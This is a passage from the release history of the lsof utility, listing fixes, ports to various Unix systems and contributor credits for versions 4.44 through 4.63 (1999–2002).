lsof. Changed NODE-ADDR column title to NODE-ID in anticipation of using more general identification information in the column. Ported to UnixWare 7.1, using a test system kindly provided by Matt Thurmaier <matt@compclass.com> and Don Draper <dond@sco.com>. Updated for NetBSD 1.4C VM changes, and a new current and root working directory structure. Made minor adjustment for latest Tru64 UNIX 5.0 Beta release. 4.45 July 30, 1999 Fixed quoting problem in DEC OSF/1, Digital Unix, and Tru64 UNIX Makefile's install rule. The problem was reported by Berkley Shands <berkley@cs.wustl.edu>. Fixed bug in Tru64 UNIX 4 lsof that caused FDs to be skipped. These fixes were offered in a patch to 4.44. Fixed a repeat-mode /proc-based Linux lsof bug, reported by Sami Farin <sfarin@ratol.fi>. This was offered as a patch to 4.44. Picked lint, some reported by Sami Farin. Corrected a 00DCACHE documentation error in a sample shell script. The problem was reported by Chad R. Larson <chad@larsons.org>. Changed commented-out entries in machine.h files so they require more thought and work when the comments are removed, based on a remark by Chad. Compensated for the practice of Solaris 7 and above to record the dev= value in /etc/mnttab in 32 bit mode, even on 64 bit systems. This was offered as a patch to 4.44. Added a C library test for /proc-based Linux lsof, so that the #include files can be adjusted for a non-GlibC environment. The need for this was reported by Andrew Hill <andrewh@tirin.openworld.co.uk>. This was offered as a patch to 4.44. Added support for Auspex LFS 1.8.1 and 1.9.2 to SunOS 4.1.4 lsof. The support was requested by Quentin Fennessy <quentin@dvorak.amd.com>, who provided information and did testing. Enabled IPv6 support code for NetBSD and OpenBSD, conditional on Configure script tests. Wolfgang Rupprecht <wolfgang@wsrcc.com> supplied the NetBSD code and tested it. The OpenBSD code I constructed has been compiled but not tested. Updated the identd Perl 5 script, based on a report from Wendy Lin <af5@taiyang.cc.purdue.edu> that the space in its response line in front of the user name violates RFC 1413. Added IPv6 support to /proc-based Linux lsof. Jonathan Sergent <sergent@ETLA.NET> and Andrew Thomas Sydelko <sydelko@ecn.purdue.edu> kindly provided a test system. Updated man page description of AIX multiplexed files to indicate that they might be /dev/ptc or /dev/pts, depending on the AIX version. The correction was suggested by Onno van der Linden <onno@simplex.nl>. Sylvain Robitaille <syl@alcor.concordia.ca> reports lsof passes his Y2K tests. 4.46 October 23, 1999 Corrected /proc-based Linux lsof to detect that an IPv6 address is a mapped IPv4 address. The problem was reported and analyzed by Arkadiusz Miskiewicz <misiek@misiek.eu.org>, who also tested the fix. Added a libc5 library /dev/kmem-based Linux lsof circumvention, supplied by Jason Lingohr <lingman@lucid.net.au>. Corrected a bug in -t (terse) AIX output, reported by Wendy Lin <af5@taiyang.cc.purdue.edu>. I introduced the bug at revision 4.43 when adding FILE_FLAG reporting. This was offered as a patch to 4.45. Added a work-around for a problem in the OpenBSD 2.3 <sys/pipe.h> header file. Volker Borchert <bt@teknon.de> provided and tested it. Improved description of cross-building lsof for a 64 bit Solaris 7 system on a 32 bit system with suggestions from Phillip Edwards <Philip.Edwards@sn.wpafb.af.mil>. Fixed a gawk POSIX-mode pattern error in the Linux /dev/kmem-based Mksrc script, based on a tip from Ambrose C. Li <acli@mingpaoxpress.com>. Fixed a bug in the Tru64 UNIX IPv6 handling, courtesy of a report from Casper Dik <casper@holland.sun.com>. Enabled support for OpenBSD 2.6. Enabled support for BSDI BSD/OS 4.1, based on a report from Jeffrey C Honig <jch@bsdi.com> that only a Configure script change is necessary. Enabled Configure script to use gcc for building lsof for a 64 bit Solaris 7 and 8 kernels, if the gcc version is 2.95 or above. Improved -i option handling for systems with IPv6 support so that it will search for a host name in both IPv4 and IPv6 families, when that is possible. As a companion modification, changed -V processing to report a single error when a multiple host name match is requested. Casper Dik <casper@holland.Sun.COM> helped test. Fixed a DEC OSF/1, Digital UNIX, Tru64 UNIX repeat mode bug, reported by Mayer Ilovitz <mayer@cooper.edu>. Mayer helped test the fix. The fix was offered as a patch to 4.45. Changed Solaris socket file recognition scheme, so it is (nearly) the same through Solaris 8, where the previous clone device scheme no longer works. With significant assistance from Casper Dik, added support for Solaris 8 Beta and Beta refresh. The IPv6 support in Solaris 8 is still in some flux, so there are temporary compensations for the differences between Beta IPv6 support and Beta refresh IPv6 support. Casper and I hope those differences disappear by FCS. Improved the delivery of information on Solaris 2.5.1, 2.6, 7, and 8 door files. Fixed a repeat mode bug that surfaces when /etc/passwd changes between cycles. The bug report and diagnostic help were supplied by Igor Schein <igor@txc.com>. The fix was offered as a patch to 4.45. Added support for INRIA IPv6 to NetBSD. Jean-Luc Richier <Jean-Luc.Richier@imag.fr> provided patches and a test system on which to verify them. Added support for AIX 4.3.3. Jeff W. Stewart <jws@anaconda.cc.purdue.edu> provided a test system. Made adjustments for FreeBSD 4.0-current. Improved reporting of information for AIX sockets that lack protocol control blocks. 4.47 November 29, 1999 Based on a query from Jean-Pierre Radley <jpr@jpr.com>, changed the lsof top-level Makefile to propagate CFGF to the library Makefile. (DEBUG was already being propagated.) Added osrgcc and scogcc Configure abbreviations (to use gcc) for Jean-Pierre. In response to a query from Igor Schein <igor@txc.com>, improved the Configure script test for Solaris 7 and 8 that decides if the compiler can produce 64 bit executables. Made an ugly hack, based on making a private rnode structure definition from q4 output, to compensate for HP-UX 10.20 and lower recent NFS3 patches. HP didn't supply an updated <nfs/rnode.h> with the patches. The problem was reported by Will Partain <partain@mekb2.sps.mot.com>. Elias Halldor Agustsson <elias@hi.is> helped identify the patches as PHNE_18173, PHNE_19426, PHNE_19937, and PHNE_20091, and provided a test system. Switched BSDI test system from 2.1 and 3.1 to 4.0.1, courtesy of Terry Kennedy <terry@tmk.com>. Added some more dev_t hacks for Alpha FreeBSD 4.0. Added support for IPv6 on BSD 4.x. The support hasn't yet been tested, just compiled. Added support for the mnt file system (mntfs or /etc/mnttab) on Solaris 8. Tested on Solaris 8 BETA-Refresh. Made selection of optional fields (e.g., PPID with -FR) in a field output specification select the optional field, too, so that the option selector for the field (e.g., -R) isn't also required. This change was made in response to an inquiry from John DuBois <spcecdt@armory.com>. This may require some revision to scripts that parse all field output; two scripts in the lsof distribution's scripts/ subdirectory had to be updated. Corrected handling of Linux IPv4 addresses mapped in IPv6 addresses. Tested under OpenBSD 2.6. 4.48 January 14, 2000 Modified -i argument processing of colon-separated IPv6 addresses to recognize an IPv4 address mapped in an IPv6 address and handle it as an IPv4 address. This was offered as a patch to 4.47. Added a defined symbol (NOWARNBLKDEV) to control (inhibit) the issuance of a warning when no block devices are found. This was done anticipating its need in FreeBSD 4.x, but that dialect version no longer has any block devices, so HASBLKDEV was disabled for it instead. NOWARNBLKDEV was left in place for possible use in the future. Enabled KAME IPv6 Configure support for FreeBSD when <netinet6/in6.h> is found. Disabled use of gcc to compile lsof for 64 bit HP-UX 11. Updated Configure to recognized FreeBSD 3.4. Based on suggestions from Bernt Christandl <beb@MPA-Garching.MPG.DE> improved AFS configuration for AIX and Solaris, and updated AIX AFS 3.5 support. Johannes Tax <tax@bluedog.oit.unc.edu>, Hung T. Pham <hung_pham@unc.edu>, and Curt Freeland <curt@grumpy.cse.nd.edu> provided test systems. Updated lsof's private rnode definition for AIX 4.3.3, since IBM still doesn't ship the <oncplus/nfs/rnode.h> header file and the rnode structure definition in <nfs/rnode.h> doesn't match what the kernel uses. This was offered as a patch to 4.47. Weakened the test in the Linux /proc-based lsof of the field count of data lines in /proc/net/{tcp,udp}. It appears that recent 2.3.x Linux kernels have added untitled fields to these files. The bug report came from Gabor Liptak <gaborliptak@usa.net>. Adjusted for a FreeBSD 4.0 change in the definition of [_]KERNEL. David O'Brien <obrien@NUXI.com> reported the problem and provided a test system. Removed the HASPPID bracket from Fppid (the -R option state variable) so that the field select table will compile even when HASPPID is not defined. This problem was introduced at revision 4.47 with code that causes some field output characters to set option states. The problem was reported by David Bacon <bacon@birch.eecs.lehigh.edu>. 4.49 April 3, 2000 Made clearer in man page that "Lxx" FDs are AIX loader table references. Also updated the 00FAQ discussion of the Stale Segment ID bug to include AIX 4.3.x. Modified support for NetBSD 1.4Q to include the <sys/buf.h> header file to cope with an MFS change. Added support for OpenBSD UVM virtual memory. Added support for AIX systems with > 2GB of memory. Chris Sylvain <csylvain@itg.ummc.umaryland.edu> reported the problem and provided the solution. Chris also supplied some minor code cleanup. This was offered as a patch to 4.48. Based on new information from Igor Schein <igor@txc.com> made additional compensation in Configure script for 64 bit Solaris 7 and 8 gcc. Added some 00FAQ info on the effect ordering of the +fg and -FG options has on output format. Improved NetBSD IPv6 configuration, based on a suggestion from Thomas Klausner <wiz@danbala.ifoer.tuwien.ac.at>. Added code to convert IPv4-mapped-in-IPv6 addresses to IPv4 addresses. Updated the information in 00FAQ and the HP-UX 11 binary directory README files on the HP-UX 11 ipis_s patch with new information supplied by Eric McWhorter <emcwhorter@xsis.xerox.com>. Added documentation on changes to HASFSTYPE and HASNCACHE, and the new HASPRIVPRIPP. Adjusted Configure for FreeBSD 5.0. Made additional, necessary changes to Configure and the BSDI sources to eliminate load errors. Added KAME IPv6 support to FreeBSD at the request of Ollivier Robert <roberto@eurocontrol.fr>, who provided a test system. Corrected the script that generates the CHECKSUMS files for binaries to correctly name the detached PGP certificate. The documentation bug was reported by Michael Hennecke <hennecke@rz.uni-karlsruhe.de>. 4.50 June 29, 2000 Added a NetBSD alpha test host, courtesy of Ray Phillips <r.phillips@mailbox.uq.edu.au>. An lsof 4.49 binary, built on Ray's 1.4.1 system was made available prior to the 3.50 release. Upgraded the system map file tests in /dev/kmem-based Linux lsof, making the use of DEBIAN_LINUX_LSOF unnecessary. Tested the changes on a system made available by Vincent Kujala <kujala@geog.ubc.ca> and Jim Mintha <jim@ic.uva.nl>. Forced AIX to use the large-file-enabled versions of lstat (lstat64) and stat (stat64) if <sys/stat.h> contains stat64. This should allow lsof to stat() AIX files > 2GB even when the builder has not defined the "large file enabled programming environment." Configure tests <sys/stat.h> and puts -DHASSTAT64 in the Makefile's CFLAGS to make this happen. Fernando A.B. Whitaker <whitaker@cenapad.unicamp.br> reported the problem. This was offered as a patch to 4.48. Enabled Configure script to handle OpenBSD 2.7. Angelos D. Keromytis <angelos@dsl.cis.upenn.edu> reported the availability of OpenBSD 2.7 and supplied the Configure script patch. Improved handling of DOOR and fattach()'d files in Solaris. Changed message about missing kernel symbol file from "not yet determined" to "none found". Updated FreeBSD, NetBSD, NEXTSTEP, OpenBSD, and OPENSTEP support to report "no PCB" and the values of the SO_CANTSENDMORE and SO_CANTRCVMORE state flags when a socket structure has no inpcb pointer. This modification was made to AIX lsof at revision 4.46. Added an entry to 00FAQ about sockets that have no inpcb pointer. Upgraded support for FreeBSD 5.0-CURRENT. Ben Smithurst <ben@scientia.demon.co.uk> supplied patches and did testing. David O'Brien <obrien@NUXI.com> supplied a test system. The update included dropping the Fctty part of file descriptor file system support, conditional on a Configure script test. I propagated those changes to BSDI, NetBSD, and OpenBSD in anticipation of their having the modification in the future. David also arranged with Michael Haro <mharo@area51.fremont.ca.us> for a FreeBSD 3.4 test system. In response to an lsof 3.72 bug report from Jim Mewes <jim@corp.phone.com>, added more kernel address filtering to the lsof function, kread(), that reads Solaris kernel data. In response to a report from Marc Duponcheel <marc@offline.be>, added tests to the /proc-based Linux lsof to ignore file systems of types "autofs" and "pipfs". Based on a report and information supplied by Casper Dik <casper@holland.Sun.COM>, updated the ncache_load() function in lib/rnch.c with new code that deals with a post Solaris 8 change in kernel name cache (DNLC) handling. Casper tested the update, which should be invisible to Solaris versions without the new DNLC code. Added support for Solaris VxFS QIO files, based on a report from Kieran Broadfoot <kieran.broadfoot@gs.com>. Kieran help test the support. Added support for PTX 4.4.6 and 4.5[.1] with help from the usual cast of good people at Sequent. Added support for 64 bit file sizes and offsets on BSDI, FreeBSD, NetBSD, and OpenBSD, based on a report from Dan Nelson <dnelson@emsphone.com>. Dan supplied a patch and did FreeBSD testing. Added Configure script recognition of NetBSD 1.5, based on a report from Andrew Brown <atatat@atatdot.net>. Thomas Klausner <wiz@danbala.ifoer.tuwien.ac.at> updated the NetBSD port package to use a pre-release of this addition. At the last minute saw a notice via deja.com's UseNet search service that FreeBSD 3.5 had been released and lsof didn't grok it. Added recognition of 3.5 to lsof's Configure script, but didn't have the opportunity to test lsof on 3.5. 4.51 August 21, 2000 Added Configure script support for the upcoming Solaris 9 release based on suggestions from Casper Dik <Casper.Dik@holland.sun.com>. Changed sample Perl scripts to assume that /usr/local/bin/perl is Perl 5 and Perl 4 may be found in /usr/local/bin/perl4. Updated Configure to recognize FreeBSD 4.1 and made a FreeBSD pre-release distribution available. Bela Lubkin <belal@sco.COM> tested lsof on the upcoming SCO OSR 5.0.6 release and reports that lsof appears to work properly. Updated the AIX compiler test in Configure to recognize its version 5. Updated AIX 4.3.3 support with automatic recognition of the proper rnode structure, based on machine bit width. Also added code to detect when processing the -X option that lsof has been compiled with the "other" AIX 4.3.3 user structure and to apply compensations. When a compensation method works, it's applied during subsequent -X processing; when none works, further -X processing is disabled. Added Tru64 UNIX 5.1 support. Updated Tru64 UNIX library text file support to recognize new kernel support for AdvFS library files. Berkley Shands <berkley@cs.wustl.edu> and Klaus Saggerer USG [saggerer@zk3.dec.com> helped put me in contact with Chang Song <song@zk3.dec.com>, the developer of 5.1's new kernel name cache and he helped me develop new code in lsof to access it. Corrected reporting of PTX fattach()'d address. Changed Configure and dlsof.h for NetBSD and OpenBSD to use /usr/include/uvm header files when available. Andrew Brown <atatat@atatdot.net>, Thomas Klausner <wiz@danbala.ifoer.tuwien.ac.at>, and Wolfgang Rupprecht <wolfgang@wsrcc.com> pointed out the need to do this for NetBSD. Andrew provided access to a NetBSD 1.5 system for verifying the changes. Installed snprintf() support, including a private version in the lsof library for those UNIX dialects without the function. Changed all sources to use it instead of sprintf() and strcpy(). Fixed a memory leak in the readvfs() functions of BSDI, DEC/OSF1, Digital UNIX, FreeBSD, NetBSD, OpenBSD, and Tru64 UNIX. Tested on Linux 2.4. Modified the Pyramid MkKernOpts script to compensate for `uname -s` configuration alternatives. Robert Dahlem <Robert.Dahlem@ffm2.siemens.de> supplied the modification. Obtained access to an FCS Solaris 8 64 bit system and built lsof on it, using Sun Workshop C 5.0 and gcc 2.96 20000814 (experimental). Both compilers produce a working lsof. 4.52 November 8, 2000 Completed work on an HP-UX 11.11 port that uses a pstat(2) interface provided by HP. To distinguish it from its predecessors for HP-UX, this lsof version is called PSTAT-based and the predecessor versions are now called /dev/kmem-based. I am indebted to the far-sightedness and support of these good people at HP for making PSTAT-based lsof possible: Carl Davidson, Louis Huemiller, Rich Rauenzahn, and Sailu Yallapragada. The PSTAT-based sources are in lsof_4.52/dialects/hpux/pstat, the /dev/kmem-based ones in lsof_4.52/dialects/hpux/kmem. Ported to IBM Monterey for Merced|Itanium, aka AIX 5L. It configures via the Configure script's "aix" abbreviation and has been tested on AIX 5L Beta 3. Jay Beck, Steve Dibbell, Loc Le, Nasser Momtaheni, and Malcom Zung of IBM provided generous support. Since AIX 5L is still in Beta testing, this port can't be considered complete. Added Configure support for OpenBSD 2.8. David Mazieres <dm@cs.nyu.edu> provided a test system. Based on a report from Marc Christensen <marc@mecworks.com> added sockfs to the mount scan exemption list for /proc-based Linux lsof. Added large file, CDFS, and DOSFS for UnixWare 7.x. Added UnixWare device memory mapping support. All UnixWare changes were supplied by Eric Dumazet <edumazet@cosmosbay.com> Eric also supplied some miscellaneous bug fixes. Deferred name cache loading until printname() needs to use the name cache. Terminated Pyramid, SunOS 4.1.x, and Ultrix support, because test systems are no longer available. Final Pyramid and Ultrix source code distributions for lsof revision 4.51 may be found on lsof.itap.purdue.edu in pub/tools/unix/lsof/OLD/src. The no longer supported SunOS 4.1.x source code is still distributed with the Solaris source code. Added code to set Solaris node address to real vnode address, when applicable. John Speno <speno@lopan.isc-net.upenn.edu> provided information that enabled me to update the Tru64 AdvFS (MSFS) node definition for AdvFS version 5. Added Tru64 5.x CFS support with help from Kris Chandrasekhar <Kris.Chandrasekhar@compaq.com>, Diane Lebel <lebel@zk3.dec.com>, and John Speno. The support only provides information about cached file attributes. Installed a Configure patch for HP-UX 11 supplied by Kenneth Stailey <kstailey@disclosure.com> that adds another command to q4 input. Tested on FreeBSD 4.2. Will Day <willday@rom.oit.gatech.edu> and Frank Winkler <frank.winkler@germany.sun.com> graciously supplied Solaris 8 binaries. Added Solaris 9 text file support, supplied by Casper Dik <Casper.Dik@holland.sun.com>. 4.53 December 6, 2000 Added the AIX 5L j2_lock.h to the distribution with a Configure script step to use it when it's missing from /usr/include/j2. Removed SunOS 4.1.x support. Removed Linux 2.0.x /dev/kmem support. Fixed VBLK and VCHR special device file reporting to handle /dev information more accurately. Added a Apple Darwin / Mac OS X 1.2 port, provided by Allan Nathanson <ajn@apple.com>. Allan also arranged for a test system so I can maintain this port. An additional test system was provided by Dale Talcott. Dropped claims of support for all UnixWare versions except 7.1.0, since that is the only version on which I can test lsof. Even though lsof 4.53 is deprecated for UnixWare 2.1.3, installed a patch for it with testing done by A. Channing Clark <clark.channing@heb.com>. Dropped claims of support for all SCO OpenServer versions except 5.0.5, since that is the only version on which I can test lsof. 4.54 January 19, 2001 Added compensation for a change that made the FreeBSD mount structure invisible. I can only test back to 3.2 and the compensation works there, so it's been #ifdef'd for 3.2 and above. David O'Brien <obrien@FreeBSD.org> provided the necessary clue. Based on a report from Valdis Kletnieks <Valdis.Kletnieks@vt.edu>, changed all IPv6 support to report a TYPE of IPv6 for sockets with IPv4 addresses mapped in IPv6 addresses. The previous lsof behavior was to report their TYPE as IPv4. Restored the Linux GlibC test to Configure, removed at revision 4.53, based on a report from John Dzubera <zube@cs.colostate.edu>, that RedHat Linux 6.0 still needs the test. Made setting of link count for Solaris more selective. Limited Readlink() recursion to MAXSYMLINKS. The bug was reported by Jan Dvorak <johnydog@go.cz>. Dropped the *claim* that lsof runs on Solaris 2.5.1. It may well do so, but I no longer have access to a test system. Fixed an #endif comment typo, reported by Igor Schein. Fixed a typo in a cast for a Tru64 UNIX 5.1 function and updated Configure for Tru64 UNIX 5.0 and 5.1 with information from Jesse Perry <jesse.perry@compaq.com>. Corrected non-fatal typos in the AdvFS support in dnode.c for Tru64 UNIX. Added msdos file system support for NetBSD and OpenBSD. Andrew Brown <atatat@atatdot.net> requested and helped test it. 4.55 February 15, 2001 Based on a report from Bernd Eckenfels <ecki@lina.inka.de> added support in lsof for files in /proc/<PID>/maps that have been deleted. Changed PGRP output title to PGID, conforming to the most common current abbreviation for Process Group ID (PGID). While some systems continue to use *pgrp for internal kernel variable names, most systems that support the display of PGID via ps(1) now title it PGID. The lsof -g and -Fg options operations are unchanged in function; only titles and descriptions have changed. Also changed internal variable names from *PGRP and *pgrp to *PGID and *pgid where possible. Dropped the *claim* that lsof runs on HP-UX 9.x. It may well do so, but I no longer have access to a test system. In response to a suggestion from Jeff Howie <jeff.howie@federated.ca> added support for command name selection by regular expression. A new form of the -c option value is use to identify and specify a regular expression. Restore the *claim* that lsof works on UnixWare 7.0, since I re-acquired a test system. 4.56 May 3, 2001 Corrected some problems Amir Katz <Amir_Katz@bmc.com> found with Insure++, one in lib/dvch.c, the rest in Solaris sources. Amir's report also helped me find an error in an snpf() call that caused (the unsupported) Solaris 2.5.1 lsof to crash. Wally Winzer, Jr. <wally.winzer@ChampUSA.COM> helped test. Added support for UnixWare 7.1.1 and above in-kernel UNIX sockets. John Hughes <john@Calva.COM> kindly provided code and access to a test system. John also provided a test system and advice for adding UnixWare 7.1.1 NonStop Cluster and CFS support. More help with that effort came from Kurt Gollhardt (SCO), Barbara Howe (SCO), Bela Lubkin (SCO), and Dewan Rashid <Dewan.Rashid@ir.com>. Archived a set of compilation hints (patches) from Bill Melvin <Bill.Melvin@esc.edu> that make it possible to compile the old, unsupported lsof 3.08 sources on UnixWare 1.x without NFS or CDFS support. Installed support supplied by Allan Nathanson <ajn@apple.com> for the Darwin "Gold Master" release, Mac OS X 10.0 (aka Darwin 1.3 in its public source version). Added Allan's CVS repository suggestions to the script that gets additional header files from an open source repository. Tested an HP-UX 11.11 kernel patch from Sailu Yallapragada that enables reporting of TCP/IP information for telnetd processes that use the telnet multiplexor. I don't yet know the kernel patch ID. Made the Solaris inclusion of <inet/mi.h> conditional on the Solaris version. (It's apparently not needed at 2.6 and above.) Bill Watson <bill.watson@uk.sun.com> brought this to my attention. Added alternate Linux 2.4.x lock extent test, supplied by Jim Mintha <jim@ic.uva.nl>. Rearranged the lines and pre-processor tests in regex.h, lib/regex.c, and lib/snpf.c so that unifdef can be used to eliminate copyright and GPL statements when the files aren't being used for a particular dialect. (USE_LIB_* definitions in a dialect's machine.h header file determine if one or more of those three files are to be used.) Added preliminary support for Solaris 8 with VxFS 3.4. This support will be refined as I get information from Veritas about how they will distribute the kernel header files lsof needs. Those header files were omitted from the standard VxFS 3.4 distribution. Technical assistance and testing were provided by Calle Dybedahl <cdy@algonet.se>, Gary Millen <gary.millen@veritas.com>, Rainer Orth <ro@TechFak.Uni-Bielefeld.DE>, Peter C. Vernam <pvernam@draper.com>, and Donna Yobs <Donna.Yobs@veritas.com> Tested on FreeBSD 4.3-STABLE. Dropped the *claim* that lsof works on UNIX dialects where I no longer have test systems: BSDI 2.1, 3.[01] and 4.0; DEC OSF/1, Digital UNIX and True 64 UNIX 2.0 and 3.2; FreeBSD 2.1.[67], 2.2[.x], 3.[012345] and 4.[01]; HP-UX 10.20; NetBSD 1.[234]; SCO OpenServer 5.0.5; and SCO UnixWare 7.0 Tested on Solaris 9 BETA, s81_36. 4.57 July 19, 2001 Help (-h) and version (-v) output now have URLs for the newly created and timeliest lsof FAQ (00FAQ in the lsof distribution) at: and the man page for the current lsof distribution at: Based on a report from Steve Laubscher <slaubs@woodward.com>, modified dlsof.h for PTX 4.6[.1] to avoid a temporary dnlc_t definition needed at PTX 4.5.1. Corrected test for old Linux kernels in Configure. Henri Karrenbeld <ishtar@cal044202.student.utwente.nl> brought the error to my attention. Limited Linux claims to 2.1.72 and above in the documentation. Improved HP-UX 11 Configure stanza and stream socket handling. Constructed a work-around for the HP-UX 11 optional OnlineJFS package. The work-around sadly requires lsof to have a private version of the vx_inode structure, since the OnlineJFS package doesn't update <sys/fs/vx_inode.h>. Troyan Krastev <Troyan.Krastev@ricoh-usa.com> brought the bug to my attention and Michael Bracewell <michael@ra.TSS.PeachNet.EDU> provided a test system where I developed the work-around. Added locale support to lsof's isprint() test, based on a suggestion from Dan Mercer <damercer@mmm.com>. Lsof will use setlocale(), when that function and its supporting <locale.h> header file are available. Added OpenBSD 2.9 support. Based on a report from Aaron Rhodes <arhodes@psionic.com> and with testing help from Aaron, made the lsof 4.56 revision compile and work on OpenBSD 2.6. While that OpenBSD version is no longer supported, Aaron's report exposed a Configure script bug affecting OpenBSD versions lsof does support. Updated for FreeBSD 5.0-CURRENT. Szilveszter Adam <sziszi@petra.hos.u-szeged.hu> help test. The lsof FreeBSD ports packager, David O'Brien <obrien@FreeBSD.org>, assisted. Tested on AIX 5.1. Loc Le and Nasser Momtaheni of IBM provided test systems. 4.58 September 13, 2001 Added options to safestrprt() and safestrprtn() to surround the string with '"' and to suppress the printing of an ending '\n'. Use of these functions in device cache file error message reporting answers a suggestion for better error reporting from John Jackson <jrj@purdue.edu>. Fixed a Solaris 2.6 and above problem related to searching for "large" (O_LARGEFILE) files by name; lsof was using the wrong version of [l]stat(2). The bug was reported by Daniel Trinkle <trinkle@cs.purdue.edu>. Added AIX 4.1.4 and above XTI socket support. Added OSR Xenix Shared Data and Semaphore file type support with modifications supplied by Bela Lubkin. Updated OPENSTEP support with modifications from Carl E. Lindberg <lindberg@clindberg.org>. The changes enable the correct reporting of executable and library open files ("txt" type). Limited claims of OpenServer support to the versions where I currently test, 5.0.4 and 5.0.6. (Lsof probably works on 5.0.5.) Enabled processing of -C option for PSTAT-based HP-UX lsof. Enabled and tested on FreeBSD 4.4. Corrected a file system test example in 00QUICKSTART, based on a report from Jun Biao WANG <wangjunb@cn.ibm.com>. Made available for re-distribution a user-contributed port of lsof 4.51 to Reliant UNIX 5.45. Thomas Mauterer <Thomas.Mauterer@philosys.de> contributed the port. 4.59 October 20, 2001 With the closing of the Sequent Synergy Links Lab by IBM, terminated lsof support for PTX. The last tested PTX lsof revision, 4.58, is available on lsof.itap.purdue.edu in .../lsof/OLD/src. Adjusted for FreeBSD 5.0-CURRENT NFS header file changes, based on a report from Jos Backus <josb@cncdsl.com>. Corrected a bug in the way Linux lsof identifies the owner of a process. Lionel Cons <lionel.cons@cern.ch> reported the problem and tested the fix. Added code to avoid stat(2) calls on regular Linux files whenever possible. Lionel reported the need to do this (AFS files) and tested the new code. Added new output field for raw device number in hex. The field is identified with 'r'. This field is NOT selected when -F or -F0 is specified so that its appearance won't disturb existing scripts that process field output. Added support for OpenUNIX 8. A test system was provided by Larry Rosenman <ler@lerctr.org>. Matthew Thurmaier <matt@compclass.com> and many people from Caldera provided technical assistance. Added an additional UVM test to the NetBSD Configure stanza. Andrew Brown <atatat@atatdot.net> supplied the test; it recognizes NetBSD 1.5Y UVM changes to the vnode structure recently committed by Chuck Silvers. Applied Configure and get-xnu-headers.sh script changes suppled by Allan Nathanson <ajn@apple.com> for Darwin 1.4. Added for Bela Lubkin <belal@mammoth.ca.caldera.com> OSR-specific environment variables to supply values to the Configure script. The variables are described in 00XCONFIG. Added an IP version selector to the -i option parameters. 4.60 November 9, 2001 Added special handling to and corrected bugs in the matching of IPv4 in IPv6 addresses to -i6:<...> selectors. Made 00FAQ corrections and updates, based on discussions with Igor Schein <igor@txc.com>. Modified Configure script to detect a 64 bit capable gcc compiler and permit it to be used to build 64 bit (PA-RISC 2) lsof for HP-UX 11.00. Tested with HP's gcc package, which Rich Rauenzahn of HP kindly installed on a test system at HP. Stefan Marquardt <stefan.marquardt@hagebau.de> helped test. Made lsof's method of killing its child process more robust, based on a suggestion from Bela Lubkin <belal@caldera.com>. Modified all dialect Makefile segments to accept select -v #define's from the environment -- a builder's comment, host, logname, system information and user name. This was done for Bela Lubkin, so he can "tune" the -v output when he packages lsof in the upcoming Caldera OSR 5.0.7 release. Changed Perl scripts in scripts/ to put the lsof path consistently in $LSOF. Also added a fix from Bela Lubkin to scripts/big_brother.perl5 that allows it to tolerate SCO OSR "ago" clauses in open UDP file information. Strengthened emphasis in scripts/00README that the scripts are examples that shouldn't be expected to run on all UNIX dialects without modification. At Bela Lubkin's suggestion changed the device cache file format examples in 00DCACHE and 00FAQ to avoid "%U%". That's an SCCS escape sequence. Added support for OpenBSD 3.0. Added +DAportable to CFLAGS for 32 bit HP-UX 11. Amir Katz <Amir_Katz@bmc.com> suggested the addition. 4.61 January 22, 2002 Updated field output example Perl scripts in the scripts/ subdirectory to discover the lsof path, starting at .. and proceeding through the PATH environment variable's directories. Added minor OSR Configure script fixes, provided by Bela Lubkin <belal@caldera.com>.). In response to a report from Peter Valchev <pvalchev@openbsd.org> improved the UVM test in the OpenBSD Configure stanza. Updated Configure script to recognize FreeBSD 4.5. Updated for FreeBSD 5.0 procfs and pseudofs changes. Updated HP-UX stanza to see if the compiler named in the LSOF_CC environment variable is the bundled compiler. If it is, "-O" is omitted from the compiler flags. Updated Digital UNIX 4.x and Tru64 UNIX error message related to kernel name list failures. Added an FAQ section about how a kloadsrv daemon failure can cause knlist(3) to fail. The condition was reported by Douglas B. Jones <douglas@gpc.peachnet.edu> Based on a report from Mark W. Eichin <eichin@thok.org> made Linux lsof capable of handling and reporting file sizes greater than 32 bits. Tested on Solaris 9 BETA-Refresh. Corrected a bug in the matching of IPv4 addresses, mapped in IPv6 addresses, to an IPv4 parameter to an -i option. Ported to 64 bit Power AIX 5.1 kernel with advice from David Clissold <cliss@austin.ibm.com> and Marc Stephenson <marc@austin.ibm.com>, and on a test system provided by Loc Le <lple@us.ibm.com>. 4.62 March 7, 2002 Updated 00README to reflect the usefulness of gcc for building AIX lsof. Documented a report from Brian L. Gentry <BGentry@nationsrent.com> of success on AIX 4.3.3. I documented my success on 32 bit Power AIX 5.1 and my lack of success on ia64 AIX 5.1 and 64 bit Power AIX 5.1. Improved UnixWare >=7.1.1 reporting of UNIX socket NAME field information for NonStop Cluster systems with a patch provided by John Hughes <john@Calva.COM>. Offered John's improvement as a patch to lsof 4.61. Corrected bugs in handling of open files on block devices by OSR lsof. The bugs were reported by Bela Lubkin <filbo@deepthought.armory.com>. Fixed bug in writing >32 bit device numbers for block devices to the device cache file. Added support for reporting block special nodes not in /dev (or /devices). That required "like device special" be changed to "like block special" and "like character special". (00FAQ was updated.) Based on a report from Peter Valchev <pvalchev@openbsd.org> improved the definition of the source for NetBSD and OpenBSD kernel symbols (the nlist() source file). NetBSD now defaults to getbootfile(3) if it is available, /netbsd otherwise. OpenBSD now defaults to /dev/ksyms if it is available, /bsd otherwise. Made possible compilation under BSD/OS (BSDI) 5.0 with changes to Configure, dialects/bsdi/dlsof, dialects/bsdi/dproc.c and lib/rnmh.c. The changes were suggested by Steven Hinkle <hinkle@bsdi.com>. Note that these changes do not substantiate a claim that lsof works on BSDI 5.0, because I haven't tested it there. Updated OpenUNIX private <sys/fs/memfs_mnode.h>, based on a report from Larry Rosenman <ler@lerctr.org> that it had been updated by Caldera patch OU800PK3. Unfortunately the patch only corrects some of the problems with the header file, so it is still necessary to distribute a private patched version of it with the lsof sources. Applied a man page correction reported by Frederic Delanoy <max_ok@yahoo.com>. Corrected cast bugs related to using the HP-UX bundled C compiler on HP-UX 11.11. 4.63 April 23, 2002 Added HPUX_BOOTFILE environment variable for use by the Configure script in determining HP-UX kernel configuration information -- e.g., the state of the ipis_s structure in the HP-UX 11 kernel. The change was suggested by Marc Bejarano <beej@alum.mit.edu>. Marc also suggested some changes to the HP-UX section in 00FAQ that discusses Configure's use of q4 for HP-UX 11. Fixed a bug in the Solaris lsof file system matching code. It was not reporting that VCHR files in /devices were in / when /devices was in /, too. Corrected bugs in device number, file size, file offset, and raw device number field output generation. Added recognition of OpenBSD 3.1 